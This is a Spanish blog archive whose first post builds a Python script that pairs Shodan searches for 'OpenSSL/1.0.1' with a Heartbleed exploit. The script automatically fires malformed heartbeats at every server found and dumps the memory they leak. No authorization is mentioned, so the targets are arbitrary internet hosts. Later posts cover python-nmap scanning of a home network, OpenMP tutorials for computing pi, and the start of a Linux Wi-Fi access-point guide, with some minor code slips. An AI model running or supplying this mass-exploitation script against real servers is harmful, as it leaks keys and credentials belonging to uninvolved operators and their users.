z3r0 r0ws: 2015

jueves, 26 de noviembre de 2015

Automatizando un proceso de pentesting.

"Si lo tienes que hacer de la misma forma más de tres veces.... tienes que empezar a plantearte hacer un programa."

Con esa entrada ya lo he dicho todo.

Vamos a crear un programa que haga dos cosas: una búsqueda automática de un sistema con una vulnerabilidad específica y luego vamos a aplicarle un exploit que ya exista.

No vamos a crear el exploit, ni siquiera deberíamos entender que hace el exploit ya que normalmente suelen requerir bastantes conocimientos. Aunque debemos ser lo suficientemente buenos programadores para ser capaz de meter mano al exploit y remodelarlo a nuestro gusto.

Al igual que si lo hiciéramos de forma artesanal, lo primero que debemos hacer es buscar la vulnerabilidad. Hay muchas maneras, en este programa vamos a usar, y de paso la doy a conocer, el API de programación de Shodan.

Una vez localizado los posibles objetivos lanzamos sobre ellos el exploit y esperamos los resultados. Vamos a elegir algo sencillo y muy de moda: la vulnerabilidad CVE-2014-0160 de HeartBleed. Antes de entrar en materia conviene entender que es esa vulnerabilidad.

https://xkcd.com/1354/ (Con viñetas)

http://www.engadget.com/2014/04/12/heartbleed-explained/ (Sin tecnicismo)

O si queremos algo más técnico (sólo para incodicionales del lenguaje ensamblador): http://www.engadget.com/2014/04/12/heartbleed-explained/

Localizando objetivos.

Usaremos la API de Shodan previamente para poder usarla hemos de obtener la clave API de esta web https://developer.shodan.io/.
Para usar Shodan en su funcionalidad completa deberemos comprar algún tipo de licencia, pero para poder realizar la práctica podemos obtener la clave gratuita. Esta clave nos limita la capacidad de filtrado y nos da únicamente una pequeña parte de los resultados obtenidos.

Para programar usaremos Python que gracias a la gran cantidad de módulos disponible nos vale para todo. Nos descargamos e instalamos la librería nmap y ya vamos al lío.

import shodan
shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
k = 0
try:
shodan1 = shodan1.search('OpenSSL/1.0.1')
print 'Total servidores encontrados: %s' % str(shodan1.count)
for result in shodan1['matches']:
print 'IP: %s' % result['ip_str']
print result['data']
except shodan.APIError, e:
print 'Error %s' % e

Ejecutamos y así de fácil obtenemos un resultado parecido a este.

Notaréis que se imprimen muchos menos sistemas que los que dice haber encontrado. Eso es debido al tipo de API que usamos tal y como dije arriba.

Seleccionando el exploit.

Ahora sólo tenemos que buscar un exploit que aprovecha esta vulnerabilidad. Hay multitud de ellos y vamos a localizar uno que tenga poca complicación. Por ejemplo este

https://www.exploit-db.com/exploits/32745/

Este exploit es bastante simple y no tiene en cuenta bastantes situaciones que se pueden dar, así que nos veremos obligados a realizar dos tareas:

Convertirlo en función dentro del esquema anterior.
Contemplar algunas situaciones para evitar que se pare en medio de una ejecución.

Integrando el exploit en el script

Se pueden encontrar exploits mas completos, algunos dan una explicación del valor de cada octeto del helloServer, que en este exploit viene totalmente descarnado.

import nmap
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01 ''')

Añadimos los módulos necesarios y las funciones.

import shodan
import sys
import struct
import socket
import time
import select
import re

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
try:
data = s.recv(remain)
except:
print 'Error receiving'
return None
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
status = 'Unexpected EOF receiving record header - server closed connection'
print status
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
status = 'Unexpected EOF receiving record payload - server closed connection'
print status
return None, None, None
status = ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
#print 'No heartbeat response received, server likely not vulnerable'
status = 'No heartbeat response received, server likely not vulnerable'
print status
return False

if typ == 24:
#print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
#print 'WARNING: server returned more data than it should - server is vulnerable!'
status = 'WARNING: server returned more data than it should - server is vulnerable!'
print status
else:
#print 'Server processed malformed heartbeat, but did not return any extra data.'
status= 'Server processed malformed heartbeat, but did not return any extra data.'
print status
return True

if typ == 21:
#print 'Received alert:'
hexdump(pay)
#print 'Server returned error, likely not vulnerable'
status = 'Server returned error, likely not vulnerable'
print status
return False

shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
k = 0
try:
shodan1 = shodan1.search('OpenSSL/1.0.1')
print 'Total servidores encontrados: %s' % str(shodan1.count)
for result in shodan1['matches']:
print 'IP: %s' % result['ip_str']
print result['data']
except shodan.APIError, e:
print 'Error %s' % e

Cambiamos de nombre la función main del exploit y la llamamos sslpentest y que admite dos parámetros la dejamos entonces así:

def sslpentest(ip_addr, puerto):

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((ip_addr, puerto))
except:
print 'Timeout connecting'
return
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
status = 'Server closed connection without sending Server Hello.'
print status
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

#print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s

Y añadimos la llamada a la nueva función en el main

shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
k = 0
try:
shodan1 = shodan1.search('OpenSSL/1.0.1')
print 'Total servidores encontrados: %s' % str(shodan1.count)
for result in shodan1['matches']:
print 'IP: %s' % result['ip_str']
print result['data']
sslpentest(result['ip_str'], '443')
except shodan.APIError, e:
print 'Error %s' % e

Con lo que hemos hecho, el script funcionaría pero al no controlar los errores se nos puede parar. Como el programa está pensando para testear un solo equipo el programador no ha tenido en cuenta esa precaución. Pero como nuestra intención es dejar el programa realizando el test sobre un número indeterminado debemos tomar la precaución de controlar los errores que podemos esperar. En rojo en los textos anteriores se puede ver que he colocado dos sentencias try.....catch.

La primera en el momento de la conexión y la otra en la lectura.

Ejecutando el script.

Solo tenemos que ejecutar el script. Si tuviéramos una clave "pro" de shodan el script se tomaría su tiempo, pero al tener la gratuita, son pocos los equipos sobre los que podemos realizar la prueba.

Ejecutamos, esperamos veremos que lo normal es ir sacando esto:

Y si tenemos la suerte de que uno de esos equipos sea vulnerable tendremos una salida como esta:

Empieza así

Y tras varios pantallazos acabaría así:

Pendiente

El script todavía necesita algunas cosas para ser completo.
Sólo trabaja con el puerto 443 y debería trabajar con todos los puertos abiertos. Para ello habría que integrar tambien el módulo de nmap para un por cada equipo localizado detectara todos los puertos abiertos y lanzara el helloserver a cada uno de ellos.

Un buen ejercicio para quien siga este blog.

domingo, 6 de septiembre de 2015

Accediendo a nMap desde Python

Ya hace tiempo, al inicio de este blog, dediqué varios capítulos a nMap, uno de los más potentes scanneres de red. En este artículo vamos a volver a nMap pero tratándolo de otra manera.
Vamos a acceder a los servicios de nMap desde un programa en Python.
El acceso a nMap nos permite automatizar ciertas tareas que realizamos de forma rutinaria, por ejemplo chequeos periódicas de nuestras instalaciones y, lo más importante en mi opinión, poder guardar esta información en una base de datos.

Y sin decir mucho más creo que a todos se nos hace obvio el abanico de posibilidades que se nos abre, así que pasemos a la acción.

Instalando la biblioteca

La comunicación entre Python y nMap se consigue con la biblioteca python-nmap que se puede descargar de este enlace http://xael.org/norman/python/python-nmap/
Hay que tener cuidado y descargar la versión que es compatible con nuestro Python (2.7 o 3x)
Descomprimimos el fichero zip descargado y desde el mismo directorio donde hemos realizado la descompresión ejecutamos:

python setup.py install

Esperamos a que el script nos informe de que el proceso de instalación ha finalizado correctamente.
Ya estamos en condiciones de trabajar con nMap desde python. Lo primero que haremos es verificar que python está correctamente instalado.

Abrimos una sesión online de python e importamos la biblioteca. Si no hay mensajes de informen de errores listamos los elementos de esta biblioteca.

Navegando por la información

Una vez importada la bibioteca nmap listamos el contenido: dir(nmap)

Vemos hay hay varias funciones del tipo PortScanner y que son las que nos permitirán lanzar los test de nMap.

Vamos primero a familiarizarnos con la información que obtenemos

Para mejor entender la información que no da voy a formatear la información para que sea más compresible

{'nmap': {
    ' scanstats': {
        'uphosts': '1',
'timestr': 'Mon Aug 31 18:29:00 2015',
        'downhosts': '0', 'totalhosts': '1',
'elapsed': '1.40'},
    'scaninfo': {
        'tcp': {
            'services': '22',
            'method': 'connect'}},
'command_line': 'nmap -oX - -p 22 -sV 192.168.1.137'},
'scan': {
        '192.168.1.137': {
'status': {
   'state': 'up',
                 'reason': 'conn-refused'},
            'hostnames': [],
'vendor': {},
            'addresses': {
'ipv4': '192.168.1.137'},
   'tcp': {
                22: {
                     'product': 'OpenSSH',
   'state': 'open',
   'version': '6.0p1 Debian 4+deb7u2',
   'name': 'ssh',
   'conf': '10',
   'extrainfo': 'protocol 2.0',
   'reason': 'syn-ack',
                     'cpe': 'cpe:/o:linux:linux_kernel'}}}}} }

Podemos acceder a la información usando los métodos que nos proporciona el objeto PortScanner:

Por cada dirección IP scaneada obtenemos un objeto de tipo host. Por ejemplo si hubieramos ejecutado el siguiente portscan:

nm.scan('192.168.1.0/24', '22')

Obtenemos una salida similar a esta

Que de forma más esquemática quedaría así:

Tenemos una lista hosts cada uno identificado por su dirección IP, y para acceder a cada uno de ellos usamos la forma habitual de python para manejar listas

Podemos intentar localizar un host determinado con el método has_host

Con esta introducción ya estamos en consecuencia de realizar nuestro primer programa python que será muy sencillo.

Lo único que hará el programa es realizar un scan de un rango de direcciones y por cada host que encuentre creará una entrada en una lista y Y cuando finalice mostrará en pantalla la lista de equipos que haya encontrado y su dirección IP.

import nmap
class NmapHost:
    def __init__(self):
        self.host = None
        self.state = None
        self.reason = None

def parseNmapScan(scan):
    nmapHosts = []
    for host in scan.all_hosts():
        nmapHost = NmapHost()
        nmapHost.host = host
        if scan[host].has_key('status'):
            nmapHost.state = scan[host]['status']['state']
            nmapHost.reason = scan[host]['status']['reason']
            if scan[host].has_key('addresses'):
                if scan[host]['addresses'].has_key('mac'):
                    nmapHost.mac = scan[host]['addresses']['mac']
                else:
                    nmapHost.mac = '00:00:00:00:00:00:00'
                nmapHost.ipV4 = scan[host]['addresses']['ipv4']

        nmapHosts.append(nmapHost)
    return nmapHosts
if __name__ == '__main__':
    nm = nmap.PortScanner()
    nm.scan('192.168.1.0/24', '22-500')
    structureNmap = parseNmapScan(nm)
    for nmapHost in structureNmap:
        print '[-] Host: ' + nmapHost.host + ' is ' + nmapHost.state
        if nmapHost.mac != '00:00:00:00:00:00:00':
            print '[-]         MAC: ' + nmapHost.mac
        print '[-]         IP V4: ' + nmapHost.ipV4

El programa no requiere mucha más explicación y nos da un código mínimo para aprender la listar el resto de la información suministrada por el método PortScanner

martes, 19 de mayo de 2015

Programación paralela (y IV) - La directiva for

En todas las versiones del programa que nos calcula el número PI siempre hemos hecho algo en común: Hemos dividido las N iteraciones entre el número de threads y mediante la expresión

for (i = stage ; i < stage + hop; i++)

hemos fraccionado el trabajo de forma uniforme entre todas las threads recordando que el valor de la variable stage depende del identificador de thread en el que se está ejecutando y que obtenemos usando la función omp_get_thread_num()

De forma gráfica se podría ver esto así:

La directiva for

En OMP tenemos una directiva que nos permite hacer esto de forma más simple. Esta directiva tiene es homónima de la instrucción en C a la que pretende complementar, es decir la directiva for

#pragma omp parallel
{
#pragma omp for
.........
..........

}

}

El programa para el cálculo pi si usamos esta directiva queda así:

#include <stdio.h>
#include <omp.h>
#include <time.h>
#include <sys/types.h>
static long num_steps = 100000000;
#define NUM_TRHEADS 2
double step, pi,x;
double sum =0.0; //[NUM_TRHEADS];
int main()
{

int i;
step = 1.0/(double) num_steps ;
omp_set_num_threads(NUM_TRHEADS);
#pragma omp parallel private(i,x) reduction(+:sum)
{

#pragma omp for schedule(static)
for (i = 0 ; i < num_steps; i++) {
x = (i + 0.5) * step;
sum += 4.0/(1.0 +x*x);
}
}
pi = step * sum;
printf("El numero Pi es: %2.10f\n", pi);
}

Como hay bastantes diferencias las vamos a ir viendo, no en secuencia de arriba abajo, como hemos hecho otras veces, si no de de la parte más interna del código, la que tiene más llaves a su alrededor.

La parte más interna corresponde al bucle

for (i = 0 ; i < num_steps; i++)

Cuyas condiciones de condiciones son las misma que teníamos en la primera versión del programa, la que no era multiproceso.

Nos hemos "liberado" de tener que poner el código necesario para realizar el fraccionamiento del bucle que teníamos para las versiones con proceso paralelo:

#pragma omp parallel
{
int i;
double x;
int ID=omp_get_thread_num();
int long stage;
sum[ID] =0.0;
stage = hop * ID;
for (i = stage ; i < stage + hop; i++) {
x = (i + 0.5) * step;
sum[ID] += 4.0/(1.0 +x*x);
}

}

Núcleo del programa en programación paralela

La directiva #pragma omp for schedule(static) es quien nos gestiona este trabajo. Pero esta directiva es mucho más potente. En este ejemplo hemos tratado con la forma más sencilla. La directiva schedule tiene la siguente sintaxis:

schedule (tipo [,fraccionamiento])


tipo admite los valores: static, dynamic, guided.
fraccionamiento: es el rango de iteraciones que se va a asignar a cada proceso paralelo.

Si se especifica static y no se pone ningún valor para fraccionamiento, éste toma el valor del número de iteraciones divido entre el número de tareas, que en nuestro ejemplo es el algoritmo que usamos para calcular

i = stage ; i < stage + hop

A partir de esta base podemos jugar con todas las demás posibilidades que tiene la directiva schedule y que será muy útil se cada iteración tiene dentro cálculos más complejos y menos uniformes que nuestro ejemplo.

Saltando un escalón más hacia arriba nos encontramos con la ya conocida directiva  #pragma omp parallel  a la que hemos añadido algunos parámetros más:

 private(i,x) reduction(+:sum)

El primero  de ellos [private(v1, v2, ... vn)] da instrucciones para que en tiempo de ejecución se cree un juego de  esas variables en cada proceso paralelo y sólo accesible dentro de cada uno de ellos. Nos vale para sustituir las declaraciones de variables:


 int i;

 double x;

La sentencia [reduction(+:sum)] nos evita tener que difinir expresamente una matriz para para almacenar el resultado de cada proceso. Recordemos que debíamos de definir una matriz para los resultados y cada proceso almacenaba su resultado en un elemento de esa matriz.


 int ID=omp_get_thread_num();

 int long stage;

 sum[ID] =0.0;        

 stage = hop * ID;

 for (i = stage ; i < stage + hop; i++) {

  x = (i + 0.5) * step;

  sum[ID] += 4.0/(1.0 +x*x);

Y posteriormente debíamos "ensamblar" los resultados parciales:


for (j = 0; j < NUM_TRHEADS; j++) pi += sum[j] * step;

printf("El numero Pi es: %2.10f\n", pi);




Resumiendo.
Gracias a la directiva for logramos poder realizar una programación paralela pero dejando los núcleos del algoritmo independiente de si el proceso de va a ejecutar en uno o varios threads. 
Me dejo bastantes más cosas pendientes pero que haría esta serie demasiado larga. 


En el ámbito de visibilidad de datos hemos visto private y reduction, pero tenemos otras como shared, firstprivate, lastprivate.


En la sincronización hemos visto la directiva critical, pero está: barrier, taskwait, atomic.


Y para finalizar la directiva for es una de las estructuras de comparticion de tareas, pero están también las directivas section, single.


Información sobre todas estas estructura se pueden encontrar en esta dirección:  https://computing.llnl.gov/tutorials/openMP/

miércoles, 29 de abril de 2015

Programación paralela (III) - Las secciones críticas.

En el post anterior tuvimos que buscar un medio para guardar los resultados parciales de cada thread. Aunque en ese caso la solución fue sencilla en otros casos no sólo la solución pues ser más compleja si no que no hay solución. Así de simple.
Estamos en el caso de variables que puedan servir para controlar ciertos comportamientos de los threads y que puedan ser modificados por cualquiera de ellos.
Siguiendo con nuestro programa para el cálculo del número pi vamos a usar una sola variable para el resultado y deberemos controlar el acceso a la misma.

La directiva critical

Este es el programa modificado:

#include <stdio.h>
#include <omp.h>
#include <sys/types.h>
static long num_steps = 100000000;
#define NUM_TRHEADS 2

int main()
{
double sum[NUM_TRHEADS], sum1;
double step;
double pi;
int j, hop, threads;

omp_set_num_threads(NUM_TRHEADS);
step = 1.0/(double) num_steps ;
hop = num_steps / NUM_TRHEADS;
sum1 = 0.0;
inicio = clock();
#pragma omp parallel
{
int i;
double x;
int ID=omp_get_thread_num();
int long stage;
stage = hop * ID;
for (i = stage ; i < stage + hop; i++) {
x = (i + 0.5) * step;
#pragma omp critical
sum1 += 4.0/(1.0 +x*x);
}

pi = 0;
//for (j = 0; j < threads; j++ ) pi += step * sum[j];
pi = step * sum1;
printf("El numero Pi es: %2.10f\n", pi);
printf("Threads; %d -Tiempo consumido %2.5f segundos\n", threads, intervalo);
}
}

No usamos la matriz sum[NUM_TRHEADS] para almacenar los resultado parciales. En su lugar usaremos la variabla global sum1

Justo delante de la instrucción que suma el resultado de esa iteración colocaremos la directiva #pragma omp critical

Con esta sencilla orden estaremos colocando un semáforo que impedirá que esa parte de código se ejecute simultáneamente.
Una observación importante: la directiva critical no afecta a zonas de memoria compartida, si no a trozos de código que no se deben ejecutar simultáneamente.

Compilamos nuestro programa y lo ejecutamos. Sorprendentemente, o no tan sorprendentemente, el programa tarda mucho más que en las ejecuciones anteriores, incluso en la que solo tenemos un thread. Sin darle muchas vueltas, las colisiones/esperas en la ejecución de la sección critica nos dan resultados no deseados.

Afinando la ubicación de las secciones críticas.

Haré unas pequeñas modificaciones en el programa y queda así:

#include <stdio.h>
#include <omp.h>
#include <sys/types.h>
static long num_steps = 100000000;
#define NUM_TRHEADS 2

int main()
{
//double sum[NUM_TRHEADS], sum1;
double step;
double pi;
int j, hop, threads;
clock_t inicio, fin;
double intervalo;

omp_set_num_threads(NUM_TRHEADS);
step = 1.0/(double) num_steps ;
hop = num_steps / NUM_TRHEADS ;
pi = 0.0;
inicio = clock();
#pragma omp parallel
{
int i;
double x, sum;
int ID=omp_get_thread_num();
int long stage;
stage = hop * ID;
for (i = stage ; i < stage + hop; i++) {
x = (i + 0.5) * step;
sum += 4.0/(1.0 +x*x);
}
sum = sum * step;
#pragma omp critical
pi += sum;
}

//for (j = 0; j < threads; j++ ) pi += step * sum[j];

printf("El numero Pi es: %2.10f\n", pi);
}

Y analicemos esas modificaciones.

Seguimos con la variable global sum.
Hemos creado una variable local en cada thread llamada sum y que es sobre la que haremos las sumas parciales.
Hemos llevado la sección crítica fuera de la iteración del for aunque todavía dentro del bloque que se ejecutará en paralelo.

Compilamos y ejecutamos.

La curva de ejecución ya se ve similar a la que tenemos para el ejemplo del bucle segmentado vimos en el post anterior.
En el primer ejemplo creamos la sección crítica dentro de la iteración por lo que corriamos el riesgo de tener num_steps / NUM_TRHEADS colisiones.
En el segundo ejemplo solo corremos el riesgo de tener NUM_TRHEADS colisiones, que en nuestro caso pasa de 50.000.000 a 2.

Conclusiones.

La más importante es que debemos de tener muy clara la necesidad de las secciones críticas. En nuestro caso se ha usado de forma didáctica. Y si tenemos clara la necesidad de usar secciones críticas hemos de analizar muy bien donde las colocamos pues una ubicación inadecuada puede tener resultados contraproducente.
En nuestro ejemplo esa incorrecta ubicación ha conseguido que el programa estrese dos procesadores y tenga peor rendimiento que si hubiéramos usado uno solo. Vaya un negocio que hemos hecho.
Y a veces nos soprendemos cuando metemos más CPUs y no se obtiene nada. Cosa que pasa con más frecuencia de la que sería deseable.

lunes, 9 de marzo de 2015

Programación paralela (II)

En el anterior post se introdujo un programa para el cálculo del número pi. Este programa es un intenso consumidor de instrucciones y en su bucle principal carece de llamadas las sistema por lo que no genera interrupciones.

Se puede hacer más o menos largo la duración del mismo (y la precisión del resultado) mediante la directiva:

static long num_steps = 100000000;

Su compilación, al no tener nada especial es muy sencilla:

gcc -o pi pi.c

La directiva pragma omp paralell

Modifiquemos nuestro programa para que pueda ser ejecutado paralelamente y quedará así:

#include <stdio.h>
#include <stdio.h>
#include <omp.h>
#include <sys/types.h>
static long num_steps = 100000000;
#define NUM_TRHEADS 2

int main()
{
double sum[NUM_TRHEADS];
double step;
double pi;
int j, hop;

omp_set_num_threads(NUM_TRHEADS);
step = 1.0/(double) num_steps ;
hop = num_steps / NUM_TRHEADS;

#pragma omp parallel
{
int i;
double x;
int ID=omp_get_thread_num();
int long stage;
sum[ID] =0.0;
stage = hop * ID;
for (i = stage ; i < stage + hop; i++) {
x = (i + 0.5) * step;
sum[ID] += 4.0/(1.0 +x*x);
}

}
pi = 0;
for (j = 0; j < NUM_TRHEADS; j++) pi += sum[j] * step;
printf("El numero Pi es: %2.10f\n", pi);

}

Analicemos las modificaciones:

Hemos creado una directiva del compilador con el número de threads, que como solo tengo dos procesadores será de dos. No tiene sentido poner más threads que procesadores disponibles.
Recalco que el número de THREADS debe ser una directiva y no una variable. Gran parte de las estructuras necesarias para la ejecución se construye en tiempo de compilación.

Hemos modificado la variable sum, que pasa a ser una matriz con tantos elementos como threads tengamos. Es la única variable que se necesita fuera del bucle para obtener el resultado final.

En la variable hop obtener el número de iteraciones que deberá realizar cada threads (en nuestro caso cada thread realizará la mitad de iteraciones.

La sentencia #pragma omp parallel señala la parte de código que se va a ejecutar en paralelo y la analizaremos posteriormente. Una vez finalizadas cada una de las threads que se ejecutan en paralelo hemos de sumar los resultados parciales para obtener el resultado final.

Lo compilaremos con esta instrucción:

gcc -fopenmp -o pi1 pi1.c

La parte de ejecución paralela.

Empieza la esta parte con la definición de las variables locales que necesitaremos.

Identificaremos cada thread usando la función omp_get_thread_num() y el valor obtenido será usado como índice en la matriz se resultados

sum[ID] = 0;

El resto del algoritmo se puede traducir como:

Thread 0.

for(i = 0; i < 50000000; i ++) {

....

}

Thread 1.

for(i = 50000000; i < 100000000; i ++) {

....

}

Fraccionamos el total de iteraciones entre el número de threads que vamos a arrancar y asignamos a cada thread un segmento.

Ejecución.

Ejecutamos el programa sin paralelismo y vemos la gráfica de ocupación de CPU con el monitor del sistema.

La gráfica muestra tres ejecuciones la primera de ellas con una alternancia de ejecución en cada procesador. Probablemente debida a alguna interrupción generada en el sistema.
Las dos siguientes son más puras y podemos como cada ejecución del programa nos crea una meseta en cada ejecución.

Ejecutamos ahora el programa que hemos paralelizado y vemos su evolución en el monitor del sistema. Se puede ver como ambos procesadores son ocupados por sendas threads.

Ejecutemos ahora el programa serializado y el programa que hemos paralelizado uno a continuación del otro y miremos la gráfica:

Podemos ver las mesetas creadas por cada ejecución. La meseta del programa serializado es de trazo simple (una línea) y es el doble de larga (más o menos) que la correspondiente al programa paralelizado. Siendo la meseta correspondiente al último programa de trazo doble.

miércoles, 25 de febrero de 2015

Programación paralela (I)

La programación paralela es una forma de programar que permite que partes de un programa se ejecuten simultáneamente en dos o más CPU's.
Aunque evidentemente podríamos estar ejecutando un programa de forma paralela en un sistema con un solo procesador la auténtica ventaja de esta programación es hacer que varios procesadores puedan estar ejecutando simultáneamente distintas instrucciones de nuestro programa.

Hay varias arquitectura de sistemas con capacidad de proceso en paralelo:

Varios procesadores que comparte la memoria central (y puede que compartan o no la caché).
Procesadores que cada uno tiene su memoria pero comparten el resto de la arquitectura
Clusters de ordenadores.

Cada tipo de arquitectura requiere que unsoftware que sea capaz gestionar cada una.
Sin expandirme más en estos conceptos ya que hay mucho escrito (y mucho discutido) sobre ello voy a explicar algunas técnicas de programación paralela en sistemas de memoria compartida.

Sistemas cuya arquitectura es similar a esta:

Fuente: wikipedia

OpenMP

OpenMP (Open Multi-Processing) es una interfaz para la programación multiproceso de memoria compartida en múltiples plataformas, entre ellas Unix y Windows y en la actualidad está disponible para los lenguajes C/C++ y Fortran.
OpenMP está compuesto por

Un conjunto de directivas de compilador
Rutinas de biblioteca
Variables de entorno

OpenMP basa el paralelismo en el uso threads cuyo número deberá coincidir con el número de procesadores. Se puede definir mas threads que procesadores pero el paralelismo real no mejora.

Directivas

El estar fuertemente basado en directivas nos indica que gran parte del trabajo para la creación del código de proceso paralelo es realizado por el compilador. Deberemos ver que nuestro compilador soporta OpenMP.

Compilador	Version	OMP
Intel C/C++, Fortran	12.1	OpenMP 3.1
GNU C/C++, Fortran	4.4.6	OpenMP exer
PGI C/C++, Fortran	8.0.1	OpenMP 3.0
IBM Blue Gene C/C++	12.1	OpenMP 3.1
IBM Blue Gene Fortran	14.1	OpenMP 3.1
IBM Blue Gene GNU C/C++, Fortran	4.4.6	OpenMP 3.0

Los flags de compilación para cada compilador son:

Compilador / Platforma	Compilador	Flag
Intel Linux Opteron/Xeon	`icc icpc ifort`	`-openmp`
PGI Linux Opteron/Xeon	`pgcc pgCC pgf77 pgf90`	`-mp`
GNU Linux Opteron/Xeon IBM Blue Gene	`gcc g++ g77 gfortran`	`-fopenmp`
IBM Blue Gene	bgxlc_r, bgcc_r bgxlC_r, bgxlc++_r bgxlc89_r bgxlc99_r bgxlf_r bgxlf90_r bgxlf95_r bgxlf2003_r *Be sure to use a thread-safe compiler - its name ends with _r	`-qsmp=omp`

Funciones de run-time

Entre las más usadas tenemos:

omp_set_num_threads()
omp_get_num_threads()
omp_get_thread_num()

Estas funciones las veremos en detalle en los ejemplos que iré desarrollando en artículos siguientes.

Un programa usando OpenMP tendría esta forma:

C / C++ - Estructura tipo

#include <omp.h>
main () { int var1, var2, var3;

// Parte del código no parelelo ......................;
..................... ;
..................... ;
..................... ;

// Inicio del código paralelo

#pragma omp parallel private(var1, var2) shared(var3) {

Código paralelo usado por todas las .
..................................;
..................................;
..................................;
// Otras directivas de OpenMP
// Llamadas a rutinas de run´-time
}

Continua el código no paralelo
. . .

}

Requisitos.

Para poder seguir los siguientes artículos será bueno tener un ordenador con al menos dos procesadores y ejecutar un programa que sea intensivo en cálculo.
Este programa que sirve para calcular el número Pi será la herramienta de trabajo para ir viendo las técnicas de programación paralela.

#include <stdio.h>
#include <omp.h>
static long num_steps = 100000000;
double step;
int main()
{
int i;
double x, pi, sum =0.0;
step = 1.0/(double) num_steps;
for (i = 0; i < num_steps; i++) {
x = (i + 0.5) * step;
sum = sum + 4.0/(1.0 +x*x);
}
pi = step * sum;
printf("El numero Pi es: %2.10f\n", pi);

}

Dependiendo de la potencia de nuestros procesadores deberemos hacer mayor o menor el valor de la variable num_steps.

Seguimos en el siguiente post......

sábado, 7 de febrero de 2015

Creando un Access Point (AP con Linux).

Cada vez me va siendo más molesto dejar la clave de acceso a wifi a cualquier invitado. Molesto porque además del equipo doméstico o el portátil, ahora tenemos varias tablets por casa, los móviles sin SIM, las diversas consolas de juegos, la smartTV, en fin un auténtico ejército de pequeños aparatos que hemos de volver a configurar cada vez que cambiamos lo clave de cifrado.
La situación en mi caso se agrava porque de vez en cuando mi casa se convierte en un salón de juegos donde mi hijo y varios amigos quieren conectarse con su consolas para jugar en red (¿donde está el parchis?).
Al final pensé que lo mejor era crear una wifi específica para que pudieran jugar. Aproveché mi portátil donde tengo instalado el Back Track y la antena wifi Alpha.
El objetivo es conseguir que este equipo con una de las antenas se conecte a mi router wifi para salir a internet y la otra sirva como AP para la red de juegos que voy a crear. No es necesario disponer de dos antenas Wifi, podría haber conectado el equipo al router por cable y usar la antena wifi incorporada para dar servicio AP, pero por comodidad y como tengo dos antenas he preferido trabajar así.

Paso a paso.

Los pasos a realizar son:

Verificar que tenemos conexión a Internet por uno de los adaptadores.
Colocar el otro adaptador wifi en modo monitor
Activar ese mismo adaptador como AP y configurar la red
Activar NAT con iptables
Configurar dhcp para dar direcciones a los equipos que se conecten a esta red
Arrancar dhcp.

Como son bastantes pasos y de lo que se trata es de trabajar poco busqué por ahí alguna idea sobre como programar todo esto y de easy-creds extraje la información y parte técnica programada como para hacer más fácil esta tarea.

Pero antes de empezar a comentar el script veremos algunos datos de la configuración a la que voy a llegar

